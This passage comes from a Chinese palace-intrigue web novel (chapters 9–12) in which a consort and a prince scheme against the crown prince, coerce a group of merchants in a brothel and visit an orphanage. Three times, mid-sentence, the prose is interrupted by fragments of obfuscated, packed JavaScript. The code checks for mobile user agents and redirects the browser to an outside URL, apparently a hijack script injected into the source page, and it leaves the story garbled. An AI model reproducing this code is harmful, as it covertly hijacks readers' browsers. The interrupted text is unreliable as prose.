“娘娘,查到了。”翠儿的声音压得极低,带着一丝困惑,“太子近日常去柳妃娘娘的清芷宫,但我们的人并未发现他私下见过什么特别的谋士或官员。” 高玥的眼神一冷:“太子好端端地怎么会去柳妃那里?” “只有一个很奇怪的地方。”翠儿犹豫着说,“我们的人回报,太子殿下那日从清芷宫出来时,神情苦闷,曾在路上遇见一个小宫女。他似乎向那宫女讨要了一块画眉的螺子黛。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315857|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “螺子黛?”高玥的眉头拧得更紧了,“他一个大男人,要女人的眉笔做什么?” 翠儿摇了摇头,声音更低了:“不知道。只听说,太子殿下回宫后,在书房坐到天亮,然后……就有了那份让陛下龙颜大悦的新奏折。” 整个房间陷入了死寂。 高玥脸上的表情凝固了。 她设想过无数种可能:某个隐世的大儒,某个被太子雪藏的谋士,甚至某个有野心的朝臣。 但她从未想过,答案会是…… 一块螺子黛?和一个宫女? 这太荒谬了。 荒谬到近乎可笑。 “那个宫女,叫什么名字?” “回娘娘,她叫苏泠。” 高玥没有声张,而是选择了一个最意想不到的方式。 她无意间在通往御花园的小径上,遗落了一支并不算太名贵的珠钗。 然后算准了苏泠的活动路线和时间。 果不其然,半个时辰后,苏泠捧着一叠刚浆洗干净的衣物,在翠儿的“引导”下,将珠钗恭恭敬敬地送回了高玥这里。 “抬起头来。”高玥坐在主位上,语气慵懒。 高玥承认,不管看几次这张脸,她都有那么恍惚间的一滞。 是她。 就是这张脸。 一模一样。 “奴婢苏泠,叩见贵妃娘娘。”苏泠的头垂得更低了,声音不大,但吐字清晰。 “本宫听闻,太子那份惊才绝艳的奏折,与你有关?”高玥开门见山,却并非质问,而是带着一丝赞许。 苏泠的身子几不可查地一颤,立刻伏地:“娘娘明鉴!奴婢只是一个普通的宫女,怎敢妄图议论朝政!太子殿下仁厚,见奴婢手冷,只是随口问了几句,绝无其他!” 这番回答,滴水不漏。 高玥轻轻一笑,随意地撩了一缕发丝。 “不必紧张,本宫只是觉得你很聪明。”她顿了顿,目光随意地看向苏泠,声音轻得仿佛在自言自语: “本宫小时候,有一玩伴,我们总说,遇到难缠的对手,与其硬碰硬,不如学学‘小狐狸偷鸡’,出其不意,反而能赢。” 小狐狸偷鸡。 这六个字,是当年她们在游戏里,给一种以小博大的战术起的专属代号,这是独属于她们二人的,胜利的密语。 高玥说完,死死盯住苏泠的反应。 她期待看到一丝惊愕,一丝了然,哪怕只是一瞬间的眼神闪烁。 然而,什么都没有。 苏泠的脸上,先是浮现出一丝疑惑,仿佛在试图理解这个新奇的比喻。 随即,她用一种带着敬畏和顺从的语气,小心翼翼地回答: “娘娘圣明,奴婢愚钝。只知道狐狸是山中野兽,狡猾得很,见了人要躲着走,不敢去偷东西,想来是奴婢见识浅薄了。” 高玥握紧了茶杯。 她看着眼前这张既熟悉又陌生的脸,那双眼睛里,是纯粹的恭顺与惶恐,就像一汪清澈见底的泉水,看不到任何暗流。 是她想多了吗? 难道这个世界上,真的有如此巧合之事? 一个和她长得一模一样,连名字都一样的宫女,恰好又是个心思玲珑之人? 而太子那件事,真的只是自己的草木皆兵? “罢了。”高玥忽然觉得有些无趣,声音里透着一丝不易察觉的疲惫,“你很忠心,东西送回来,本宫有赏,下去吧。” “谢娘娘恩典。” 苏泠叩头谢恩,捧着赏赐的银子退了出去,从始至终没有再抬一次头。 直到她的身影消失在宫门外,高玥才缓缓靠在椅背上,有些疲惫地闭上双眼。 她第一次,对自己的判断产生了怀疑。 而走出凤鸾宫的苏泠,在转过一个无人的拐角后,脚步微微一顿。 她低头看了一眼掌心的银子,那双始终恭顺的眸子里,掠过一抹复杂至极的光芒,随即又恢复了平静。 她知道,刚刚那句话,是试探。 而她,绝不能上钩。 10. 暗潮汹涌 直到苏泠的身影彻底消失在宫门外,高玥才缓缓靠在椅背上,取而代之的是一种彻骨的寒意。 刚刚苏泠的回答与惶恐不像是作假。 如果她真的不是她认识的那个苏泠…… 那么,答案就只剩下一个,一个让她毛骨悚然的可能。 这个棋盘上,出现了另一个她完全无法看透的执棋人。 这绝不是巧合。 对方选择在这个风雨欲来的节点上,在她和齐思铭的关系刚刚破冰,计划就要进入关键期的时候,悄然出现。 其用心简直昭然若揭。 是她和齐思铭暗中的谋划早已暴露,对方作为太子或是皇帝的后手,此刻现身,就是为了将他们一网打尽? 又或者……对方也和齐思铭一样,同样盯上了这至高无上的皇位,想坐收渔翁之利? 无论是哪一种可能,都意味着,她所以为的棋盘,不过是冰山一角。 而她与齐思铭,或许从一开始,就已经是别人局中的棋子。 “翠儿。”她的声音平静,“立刻设法给王爷传个话。” 她取过一张素笺,在上面只写了三个字。 “月被食。” …… 子时,玉溪宫的殿门被悄无声息地推开。 齐思铭一身黑衣大步走入殿中。 “何为‘月被食’?” 他没有一句废话,声音里满是质问。 “王爷,”高玥的声音很轻,却字字清晰,“我们一直以为,这盘棋当前的对手,是太子。” 她顿了顿,眼中是看不清的晦暗。 “但是现在看来,我们可能都错了。” “就在今日,太子向皇上呈了一份新的折子,王爷可曾听闻?” 见齐思铭并未作答,只是目光沉沉地看着她,高玥便自顾自地说了下去。 “他在折子里,将君臣关系比作了“东家与伙计”,这个意思是,东家要善待伙计,伙计也要效忠于东家,如此才能家业兴旺,国泰民安。” 高玥复述着这番话,迎上齐思铭探究的目光,一字一顿地问道:“王爷,以你对太子的了解,你觉得凭他的脑子,能想出‘东家’与‘伙计’这番别出心裁的论调吗?” 齐思铭的眼神一凝:“你是说,太子有了新的谋士?” “不。”高玥摇了摇头,露出了一丝荒谬的笑容,“没有谋士。指点他的,是柳妃宫里一个名叫苏泠的宫女。” 齐思铭的眉头瞬间锁紧,他气的笑了出来:“一个宫女?这就是你深夜召我前来的理由?你在逗我玩?” “我倒希望我在逗你玩!”高玥向前一步,音量也提高了好几度,“齐思铭,你我这样的人,穷尽心智,也不过是在前人留下的棋谱上推演新的变化。 你的‘以商养河’,大胆,精妙,但终究有迹可循。 可你告诉我,‘朝廷为东家,商贾为伙计’,这种闻所未闻的奇思妙想,是哪个学派的典籍里记载过?又是哪位大儒的门下,能教出这等见识?” 高玥的每一个字都像是一记重锤,敲打在齐思铭的心上。 “一个自幼生长于深宫,连外界都未曾见过的宫女,凭什么能想出连你我都拍案叫绝的破局之法?你不觉得这很荒谬吗?” 空气在这一瞬间仿佛凝固了。 齐思铭死死地盯着她,那双深不见底的眸子里,风暴骤起。 “你的意思是……”他缓缓开口,“这背后另有其人,而那个苏泠,只是个传话的傀儡?” “我更倾向于相信,”高玥一字一顿,“我们面对的,是一种不属于这个世界的智慧。今天,它可以帮助太子拿下运河,明天,它又会做什么?” 这个世界,现在有了一个跟她一样,来自另一个世界,带着不属于这个时代的知识与眼界的“玩家”! 但同时,这也意味着,她终于有了向齐思铭摊牌的底气。 就是现在。 告诉他,你最大的依仗是什么。 告诉他,那个潜藏在暗处的敌人,你洞悉其本质。 告诉他,那个在暗处的人能给太子的,我也能给你,甚至能给得更多! 她可以帮他。 高玥迎着他审视的目光,深吸一口气,几乎就要将这惊世骇俗的秘密脱口而出。 就在这千钧一发的时刻,殿外传来一阵急促的脚步声,翠儿慌张的声音在门外响起:“娘娘!刚刚宫里传遍了,陛下对太子的新奏折龙颜大悦,已经下旨,将开凿运河一事,全权交由太子负责了!” 这个消息如同一道雷击,击碎了殿内的气氛。 这不是意外,而是他们刚刚预言的的未来的兑现。 齐思铭的身体肉眼可见地僵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315858|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住,他猛地转头看向高玥。 眼神中的猜忌,难以置信和一丝震撼交织在一起,形成一种前所未有的复杂情绪。 他输了。 不是输给太子,而是输给了一种所谓的他无法理解的智慧。 对于一个掌控欲深入骨髓的人来说,这比任何失败都更致命。 “呵……”他忽然低笑出声,笑声里充满了自嘲,“好一个闻所未闻。” 他没有再多说一个字,甚至没有再多看高玥一眼,转身便如来时一般,悄无声息地融入在夜色之中。 那背影,带着一种被彻底颠覆认知后的决绝和崩塌。 高玥看着他消失的方向,心中那股因他怀疑而起的怒火,竟慢慢被一种更深沉的担忧所取代。 她知道,这次的打击,对他而言,远比失去运河项目要严重得多。 这无疑是对他整个认知体系的冲击。 接下来的几天,齐思铭如同人间蒸发。 他称病不上朝,闭门谢客。 直到这天,翠儿从外面带回来一个消息。 “娘娘……”翠儿进殿时,欲言又止。 “说。”高玥正在涂指甲油,头也没抬。 翠儿咽了口唾沫,声音压低,“外头的人都以为,王爷这些日子是将自己关在殿内,谁也不见……可殿里一个跟奴婢交好的小厮偷偷告诉我,那都是做给外人看的!” 高于手中的动作停了下来,缓缓抬起头。 翠儿被高玥看的一哆嗦,连忙将剩下的话倒出来,“那小厮还说,说王爷近日好像迷上了花柳之色,几乎夜夜都换便服出宫,去的都是京城最大的青楼,叫……叫万花楼!” 翠儿咽了口口水,继续说道,“他还说,有好几次,王爷都是彻夜不归,第二日天蒙蒙亮才回来!” 那个男人,那个心高气傲,将尊严看得比性命还重的齐思铭,会自甘堕落到去逛妓院? 一股难以遏制的怒火从心底烧起。 是做戏给皇帝看,博取同情?还是真的被打击到自暴自弃?亦或是……做给她看的? “翠儿,”高玥的声音冷得掉渣,“备车,出宫。” “娘娘,您要去哪儿?”翠儿惊恐地抬头。 高玥的红唇勾起,一字一顿地说道:“去万花楼,本宫倒要亲眼看看,他齐思铭是如何风流快活的!” 11. 红衣烈焰设杀局 万花楼,京城最负盛名的销金窟。 当高玥踏入万花楼时,里面正值喧嚣鼎盛,靡靡之音与脂粉香气混杂在一起,她一向不喜欢这种脂粉气味,忍不住捂住了鼻子。 她只扫了一眼,便在二楼最显眼的位置看到了那个熟悉的身影。 只见齐思铭右手懒散地搭在身侧一名舞姬的腰上,那舞姬整个人像是被抽了骨头一样,瘫软在齐思铭的怀里。他歪着头听着身边几位穿着富贵的公子高谈阔论,嘴边挂着漫不经心的笑,还时不时低头与怀中女子调笑两句。 台下歌舞正浓之时,他甚至还抬起那女子的下巴,亲自喂了一杯酒,引得那女子娇喘连连。 怒火,混杂着一种说不清道不明的焦躁在高玥胸口漫开。 她气的不是他左拥右抱,而是气他这副自暴自弃的模样。 棋局还没到终盘,她都没先说不玩了,他怎能先放弃! 她转头看向翠儿,声音与这靡靡之音格格不入:“翠儿,你过来。” 当翠儿听清高玥的吩咐时,一张小脸吓得煞白,连连摆手:“娘娘,这……这万万不可啊!您是万金之躯,怎能……” 高玥眼神一凛,无情地打断了她:“让你做你就照做。” 不过一炷香的功夫,万花楼的王妈妈满面春风地走上高台。 她手中的牡丹帕子轻轻一挥,声音拔高了八度:“各位爷有福看了,今儿个咱们万花楼来了个绝色美人,那身段,那舞姿,说是仙女见了她都要自愧不如! 今夜谁给的银子多,谁便能与这位仙子共度良宵!” 听完老鸨的话,台下顿时一阵骚动,有喝得半醉的酒客高声起哄:“王妈妈,这人都没见着,光听你吹,谁信啊?” 王妈妈咯咯直笑,风韵犹存的脸上堆满了褶子:“这位爷你别心急啊,我这就让仙子出来,先给大家舞上一曲,开开眼!” 乐声骤起。 一个戴着半透明黑纱面帘的女子,一袭火红舞衣,赤足走上高台,身形窈窕,红衣如火,黑纱遮面,只露出一双勾魂摄魄的眼。 光是站在那,便已是万种风情。足上的银铃叮当作响,只轻轻抬起手臂,便瞬间抓住了所有人的目光。 随着鼓点渐急,她的舞姿也开始变得热烈,像是迎风的蔷薇,极致而侵略地怒放。每一个旋身,每一次顿足,都像一簇跳跃的火焰,充满了野性而原始的生命力。 她的腰肢柔软无骨,却又充满了惊人的力量感,红色的裙摆在空中划出火红的弧线。 那些刚才还在高声叫嚷的酒客,此刻都像被扼住了喉咙,一个个伸长了脖子,眼中只剩下痴迷和惊艳。 二楼,齐思铭原本微醺的眼,也在此刻变得清明。他缓缓放下酒杯,目光牢牢锁住台上那抹红色。 燃烧的火焰,灼得他心口发烫。 舞至酣处,那红衣女子竟一跃而下,裙摆飞扬,如九天玄女般飘向二楼齐思铭的方向。 她在离他一步之遥的地方停下,俯下身,指尖轻划过他温热的嘴唇,气息隔着面纱喷洒在他的下颚,带着一丝午后薄汗的湿热,和她身上特有的清冷木香。 她靠的极近,隔着一层薄纱,清晰地看到齐思铭的喉结滚动了一下。还未等他反应过来,她猛地勾住他的脖子,将他拉向自己,红唇隔着黑纱,在喉结处轻轻点了一下。 随即,她又轻笑着旋身离去,一个利落的收势,舞毕。 满场死寂,随即爆发出雷鸣般的叫好声。 “我出一百两白银!” “一百两就想买仙子共度春宵?我出三百两!” 价格一路攀升,就在众人争得面红耳赤之际,一个清冷的声音响起。 “我出这个。” 只见齐思铭缓缓解开腰间的龙纹玉佩,随手抛在桌上。 王妈妈脸上的笑容一僵,正要开口,旁边的一桌人已噗嗤笑出声。 “我还当是什么宝贝呢,原来就是块破玉佩?” “就是,我看这玉佩色泽暗沉,就算卖给三岁的孩童都不一定要吧,就这还想与仙子共度良宵?” 一时间,楼内讥笑四起,但齐思铭却连眼皮都未曾抬一下,目光依旧锁着台上的红衣女子,缓缓重复了一遍,“我说,我出这个玉佩。” 王妈妈心里也直打鼓,可毕竟是客人,她还是硬着头皮上前,小心翼翼地捏起了那块玉佩。 这不看不知道,只看了一眼,差点将玉佩摔在地上。 那玉佩看似平平无奇,可翻过来,底部却用金丝嵌着一个极小的、盘龙祥云纹样的“齐”字。 “齐”这个字,在大胤的意义,不言而喻。 王妈妈的脸色瞬间由红转白,刚准备发作,便被齐思铭狠狠地瞪了一眼。 “这块玉佩,不是给你的。”他看着台上那抹红色的身影,唇角勾起一丝玩味的弧度,“是给她的。” 王妈妈一愣,随即明白过来,满脸堆笑地将那红衣女子请下台,亲自送到了齐思铭的身边。 高玥跟着齐思铭来到二楼角落的厢房,她心中早已打好腹稿,既然齐思铭找各种理由不见她,那她只能用这种方式去见他。 顺便准备借此机会好好劝说他,不要因为太子的事情太伤心,他们还有翻盘的机会,尤其是现在多了一个未知的敌人,此刻他们更应该联手。 谁知房门刚一关上,齐思铭便将她死死抵在门板上,灼热的气息扑面而来,随即一个吻便压了下来。 “唔……” 她的话被一个滚烫而霸道的吻尽数吞没。 齐思铭的吻带着侵略性,他的唇舌间还残留着烈酒的辛辣,混合着他独有的、清冽又危险的气息,毫不留情地撬开她的齿关,攻城略地。 高玥被他突如其来的举动吓了一跳,慌张之下,用力将他推开,怒道:“我是皇上的妃子!你现在是要做什么!” 齐思铭看着她因愤怒而涨红的脸,眼中闪过一丝错愕,随即嘴角勾起:“就算是他的妃子,现在不也是在我身下。” “更何况……”齐思铭温热的气息喷洒在高玥的耳边,“我看你刚刚也乐在其中,不是吗?” “你混蛋!”高玥扬手就要扇过去,却被他一把抓住手腕,反剪在身后,整个人被他牢牢禁锢在怀里,无法动弹。 “嘘,别出声。”齐思铭的气息喷在高玥的耳廓,“配合我演一出戏。” 他的声音压得极低,高玥心头一震,随即侧耳细听,果然,门外传来了刻意压低的窃窃私语和衣料摩擦的细碎声响,正是方才与齐思铭同席的那几个公子。 高玥立刻明白了齐思铭的意图。 他不是在自暴自弃,他是在设局。 “撕拉——”一声,是衣物被撕裂的声音。 紧接着,便是高玥刻意拔高的,带着哭腔与羞愤的尖叫和求饶。 “殿下……不要……求求你……” 房间内,两人用最低的音量交流着。 “他们是太子的人?”高玥问。 “不,”齐思铭一边动作不停,一边在她耳边低语,“他们原想投靠太子,今日本该是太子设宴,我不过是借太子的名义把他们请来,让他们换个主子罢了。” 门外那几个富商正津津有味地听着里面的“活色生香”,正心猿意马浑身燥热之际,后颈突然传来一阵重击。 “砰!砰!”几声闷响,伴随着身体倒地的声音陆续传来。 高玥看向齐思铭,他脸上没有半分惊讶。 他松开高玥,慢条斯理地掸了掸衣袍上并不存在的灰尘,缓缓拉开房门。 门外,那几个富商已被麻绳捆得结结实实,整个过程行云流水,一气呵成,显然是排练了无数次。 高玥看得目瞪口呆,这个男人,将人心算计到了骨子里。 几个富商很快被“请”进了房间,被冷水泼醒后,看到齐思铭正坐在太师椅上,悠闲地擦拭着手中的玉笛,脸上还带着那温和的笑。 “各位公子醒了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他将一杯茶推到钱姓富商面前,眼神幽深地看着他:“钱公子,本王记得,你府上刚添了麟儿,正是粉雕玉琢的时候吧?你江南的绸缎庄,若是没了你这个主心骨,怕是撑不了多久。还有你,李公子,你那年迈的老母,可经不起什么惊吓啊。” 这已经不是威胁,而是赤裸裸的警告。 几人面如死灰,他们终于明白,从踏入这个房间的那一刻起,他们就已经没有了选择。 “扑通”一声,钱姓富商率先跪倒在地,连连磕头:“殿下饶命!我们听!我们什么都听殿下的!求殿下给我们一条活路!” 其余几人见状,也纷纷跪下,颤抖着声音应承:“我等……愿为殿下效犬马之劳!” 大部分人都识时务地选择了屈服,只有一个看起来颇有几分骨气的王姓富商梗着脖子拒绝。 “我王某人深受太子殿下知遇之恩,绝不会背叛太子!更不会与你这种小人为伍!” 高玥暗暗为他捏了一把冷汗,这个世界上,敢直接骂小人的可不多,更敢直接当着齐思铭的面骂他小人,更是勇士! 齐思铭懒得再跟他费口舌,脸上的笑容收敛,眼神变得阴冷。 “本王没时间与你讲大道理。” “你若是不答应,你远在江南的一家老小,恐怕此生你都见不到了。” 那王姓富商浑身一颤,随即破口大骂:“你这个卑鄙的小人!怪不得你永远都得不到你爹娘的宠爱!” 这句话,仿佛触到了齐思铭的逆鳞,他脸上一瞬间变得暴戾而嗜血。 高玥心中一紧,暗道不好。 果然,只见齐思铭握着玉笛的手猛然一甩,一支锋利的短剑从玉笛中弹出,瞬间抵在了那富商的脖子上,沁出了一丝血珠。 “我什么时候说过我是正人君子?”他的声音低沉得可怕,仿佛来自十八层地狱,“我表面上叫贤王,你该不会真的以为,我是什么贤德之人吧。” 12. 一念修罗一念慈悲 王姓富商能够感觉到那柄短剑的剑锋,此刻正稳稳地抵在他的脖颈处,他甚至能感觉到剑刃上那细微的血珠,正顺着脖子往下一点一点地滴。 他自认为也算是见过了不少大风大浪,可齐思铭这样手起刀落的,还是让他整个身子都不由得僵住了。 齐思铭那张俊雅的面孔之下,是一片深不见底的寒潭。那双眼睛里没有戏谑,也没有警告,有的是一种近乎于漠然的平静。 他知道,在齐思铭的眼中,自己的性命与蝼蚁并无分别。 答应,或者死。 他毫不怀疑,只要自己再吐出一个“不”字,这柄短剑会毫不犹豫地割断他的喉咙,就像碾死一只虫子。 “殿下饶命……”最终,他还是屈服了,声音嘶哑得不成样子。 听到想要的回答,齐思铭慢条斯理地收回短剑,他脸上的暴戾褪去,又变回了那个温和的贤王,仿佛刚才那个样子只是众人的一场幻觉。 “事情解决了,”他将玉笛别回腰间,转身看向高玥,“我们走吧。” 血腥味混杂着万花楼的香膏气味,让高玥胃里一阵翻涌。 就在齐思铭将手伸过来的一瞬间,她的身体不可积微地向后缩了一下,避开了他的触碰。 刚刚的那个齐思铭,让她感到陌生。 理智上,她明白这是最有效的手段。 对付这些唯利是图的商人,讲道理不如讲刀子,利用他们去牵制太子,也是目前破局的最优解。 可情感上,她却难以释怀。 那个梗着脖子要忠于太子的王姓富商,还有那些被家人软肋威胁不得不屈服的人,他们又做错了什么?他们也不过是想在权力的夹缝中求生罢了。 齐思铭的动作僵在半空,最终什么也没说,默默地收回了手。 两人一前一后地走出万花楼,外面灯火璀璨,小贩的叫卖声、孩童的嬉闹声、行人的说笑声交织在一起,构成了一幅热闹的人间烟火图。 可这份热闹,却与他们二人无关。 他们并肩走在熙攘的人群中,却仿佛隔着一道无形的墙,气氛压抑得可怕。 高玥一遍遍地告诉自己,帮助齐思铭夺嫡是她在这个游戏里的唯一任务。 为了完成任务,不择手段是必要的。 可她脑海中总会浮现出齐思铭手握短剑时,那双毫无温度的眼睛,还有那些富商匍匐求饶的样子。 真的有必要做得那么绝吗? 气氛在沉默中变得尴尬,连周围的空气都似乎凝滞了。 “姐姐,姐姐!买一个糖人吧!”一个稚嫩的声音打破了沉默。 一个约莫六七岁的小姑娘挤到他们面前,高高举起手中一枝捏成蔷薇花形状的糖人,大眼睛里闪烁着期待的光芒:“姐姐,这朵蔷薇花跟姐姐很是相配,让您的相公帮您买一枝吧!” 相公? 高玥下意识地想开口反驳,可对上小姑娘那清澈又充满期盼的眼神,一种莫名的情绪让她把到了嘴边的话又咽了回去。 她板起脸,不再理会小女孩,抬脚便要继续往前走。 “姐姐,买一枝吧,求求你了。” 小女孩锲而不舍地跟在她身侧,声音里带上了哭腔,“今天街上这么热闹,要是我一枝都卖不出去,我阿娘会打我的……” “我真的不需要……”高玥刚想再次拒绝,身旁的齐思铭却开了口。 “买一枝吧,人家小姑娘也怪不容易的。”他的声音依旧温和。 “要买你自己买,我不爱吃糖。”高玥也不知道自己在发什么脾气,没好气地白了他一眼,加快了脚步。 齐思铭看着她气冲冲的背影,无奈地摇了摇头。 他蹲下身,从钱袋里掏出几文钱递给小女孩,接过了那枝晶莹剔透的蔷薇花糖人。 他很快追上了高玥,不由分说地将糖人塞进了她的手里。 “我都说了我不吃糖。”高玥皱眉。 齐思铭却不接,只是低头看着她,目光在夜色灯火下显得格外明亮:“你不吃糖,那可否跟我去一个有人吃糖的地方?” 高玥一愣,看着他眼中那份她看不懂的情绪,鬼使神差地没有再拒绝。 她默默地跟在齐思铭身后,穿过繁华的街道,拐进了一条幽深僻静的小巷。 巷子尽头,是一座破旧的院子,院门上的红漆早已斑驳脱落。 齐思铭推开虚掩的院门,伴随着“吱呀”一声,一个瘦小的身影从屋里飞奔出来,一把抱住了他的腿。 “爹!” 清脆的童音在寂静的院子里响起,这声“爹”让她愣在原地。 她的目光越过那个小女孩,竟然到院子里还有六七个孩童,他们此刻正用好奇的目光,怯生生地打量着她这个“不速之客”。 高玥脑子里瞬间闪过无数狗血剧情。 这些……该不会都是齐思铭欠下的风流债吧? 那他们的娘呢…… 她用一种极其古怪的眼神看向齐思铭,而齐思铭仿佛看穿了她的想法,低声解释道:“他们都是从小没了爹娘的孤儿。 我遇到他们时,他们有的在街边乞讨,有的都快饿死了,所以我便将他们都安置在这里。 为了不让外人说三道四,以免让他们受人欺负,便让他们都喊我爹。” 高玥的心像是被什么东西轻轻撞了一下,她看着那些孩子,又看了一眼齐思铭,脱口而出:“能认当朝皇子当爹……这些孩子,怕是不知道自己修了多少辈子的福分。” 话音刚落,一个胆子稍大些的男孩走到她面前,仰着小脸问道:“你一定就是娘了吧?” 娘?! “我不是……”高玥刚想反驳,却猛地想起了齐思铭刚才的那番话。 她看着小男孩眼中那份纯粹的期待,拒绝的话怎么也说不出口。 最终,她蹲下身,有些僵硬却又格外温柔地抚摸了一下男孩的头。 她没有看到的是,她身后的齐思铭,嘴角扬起了一抹得逞的弧度。 高玥顺势将手中的蔷薇花糖人递给了小男孩,小男孩怯生生地接过,甜甜地说了声“谢谢娘”。 这声娘让高玥的心彻底软了下来。 她站起身,抬头对上齐思铭的目光。灯火下,他的轮廓柔和,眼神里似乎也多了几分暖意。 她突然觉得,这个男人,好像也没那么可恶了。 可转念一想,她又被他算计了! 这个男人太懂得如何玩弄人心,每一次,她都会不自觉地被他牵着鼻子走。 明明刚刚在万花楼里,包括从万花楼出来的时候,都是她占据了上风,怎么绕了一圈,反倒是她心里有些内疚了? 就在这时,屋子里走出一位约莫四十多岁的妇人,面容和善。 她看到齐思铭,亲切地唤道:“阿铭,你回来啦。”随即,她的目光落到高玥身上,愣了一下,但很快便恢复了常态,笑着说:“饭菜都做好了,快进来吃吧。” 齐思铭看了一眼高玥:“折腾了一晚上,想必也饿了,吃点东西再回去吧。” 话音刚落,高玥的肚子不争气地“咕噜”叫了一声,在寂静的院子里,这声音显得格外清晰。她的脸颊瞬间有些尴尬,只能点了点头,跟着他走进屋子。 屋子不大,但收拾得干净整洁,一张半旧的四角桌上,摆着几样简单的家常菜,还冒着腾腾热气。 那妇人极有眼色地为他们添上碗筷,便借口去照顾孩子们,退了出去,将空间留给了他们二人。 “她是王大娘,身世清白,为人老实,你不用担心她会嚼舌根。”齐思铭为高玥夹了一筷子青菜,“平日里她就住在这,帮着给孩子们做做饭,也算是孩子们的家人。” “我又没问你……”高玥咀嚼着口中的饭菜,小声嘟囔道。 她像是想到了什么似的,抬眼问他:“所以,你平时晚上不回去,就是住在这里?” 齐思铭没有出声,只是拿起碗喝了一口汤,算是默认了。 高玥心里那点最后的芥蒂也烟消云散了。 可她偏要嘴硬,带着几分傲娇说道:“其实我不喜欢小孩子,又吵又闹,麻烦得很。” 齐思铭握着碗的手顿了一下,用几不可闻的声音“嗯”了一声,喃喃道:“你与她……倒是一样。” “她?”高玥敏锐地捕捉到了这个字眼。 她脑中灵光一闪,试探着问道:“是你母妃吗?” 听到这两个字,齐思铭的身体骤然一僵,脸上的表情瞬间变得不对劲。 高玥心里咯噔一下,暗道:“完了。” 之前就听说齐思铭在宫中爹不疼,娘不爱。生母淑妃失宠后被打入冷宫,他自己也是在冷宫那种地方长大的。自己的这一句话,怕是又戳到他的伤心处了。 房间里的气氛再次凝固。 齐思铭垂着眼,盯着碗里的白米饭,许久都没有动一下。 就在高玥以为他不会再开口时,他突然自言自语道:“我与她今生的缘分,早就尽了……” 高玥小心翼翼地追问,“是……她不要你了?” 齐思铭缓缓抬起头,那双深邃的眸子里,翻涌着高玥从未见过的悲伤与恨意。“不要我?” 他忽然低笑起来,“她不是不要我,她是从来没有把我当成她的儿子。” “在她眼里,我只是一个工具罢了,”他的声音很轻,却字字扎心,“一个能让她走出冷宫,能让她报复所有仇人的工具。 她恨皇上,恨皇后,恨所有看不起她的人,所以她把所有的希望和怨恨都压 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“你不是工具,你也不是任何人的附属品,你就是你。”高玥试图用自己的体温去温暖他。 “过去的事情已经无法改变。但以后,你可以选择你想成为的人。” 她的声音很柔,却带着一种坚定的力量。 齐思铭看着她,眼中的波涛汹涌渐渐平息,取而代之的是一种他自己都未曾察觉的依赖。 …… 第二日,京城有名的酒楼“醉仙居”被齐思安包了下来。 他要在宫外宴请京中各大商贾,为运河计划筹措资金。 酒过三巡,菜过五味,太子清了清嗓子,终于提到了正题。 “尔等商人,虽身处市井,亦是我大胤子民,如今国库吃紧,为国分忧,乃是尔等本分……” 他此番言辞,听上去冠冕堂皇,句句在理,可在座的商人哪个不是鬼精鬼精的,这话传到他们耳朵里,就变了味道。 一个胖胖地商人站起身子,举着酒杯笑呵呵地说道,“太子殿下说的是。我等能有今日,全赖朝廷庇佑。为殿下分忧,为朝廷分忧,自然是义不容辞。” 但随即他话锋一转,“这运河大计利国利民,我等自然是鼎力支持。不过……这沿途的商路、码头的经营权,我等若是能参与一二,筹措资金时,也能更有底气,更能为殿下尽一份心力不是?” 这话说得十分巧妙,既表达了支持,又点明了要好处。 “是啊,殿下。我们出钱可以,可总得让我们看到些回头钱吧?” “这运河一开,若是能由我们几家联合经营沿途的船运,那资金绝不是问题!” “殿下若是能允诺我等三年的免税期,别说一个运河,两个我们都给您凑出来!” 这些商人,都是人精中的人精,无利不起早是他们的天性。 若是太子这边能给足好处,那两边下注,讨好谁不是讨好? 谁知,齐思安听着这些讨价还价的言论,脸上的温和笑意渐渐淡去。 他放下手中的玉箸,发出“啪”的一声轻响,喧闹的雅间瞬间安静下来。 “本宫还以为,今日请来的是我大胤的商贾栋梁。” “为国分忧在诸位口中,竟成了一桩可以讨价还价的买卖?”齐思安端起酒杯,只是轻轻晃动着,看着杯中清冽的酒液,“本宫今日才知,原来商人的‘本分’二字,也是明码标价的。” 他这番话话里话外,都将出钱视为商人们理所当然的义务,丝毫没有要与他们平等商议的意思。 在座的富商本就受了齐思铭的胁迫,此刻又见太子这副轻视自己的模样,心中更是窝火。 我们凭本事赚来的银子,凭什么要给你这副“赏你个脸”的态度? 所以当齐思安正式提出,希望他们能为运河工程慷慨解囊时,戏剧性的一幕发生了。 “太子殿下,实在不巧,小人家中老母近日病重,实在是……有心无力啊!” “是啊殿下,我那批运往江南的丝绸被水淹了,如今连伙计的工钱都快发不出了,实在是囊中羞涩……” 这些富商们像是提前约好了一样,纷纷找着各种借口推脱。 一时间整个宴会上竟没有一个人愿意出资。 齐思安的脸色由红转青,又由青转白,拿着酒杯的手气得微微发抖。 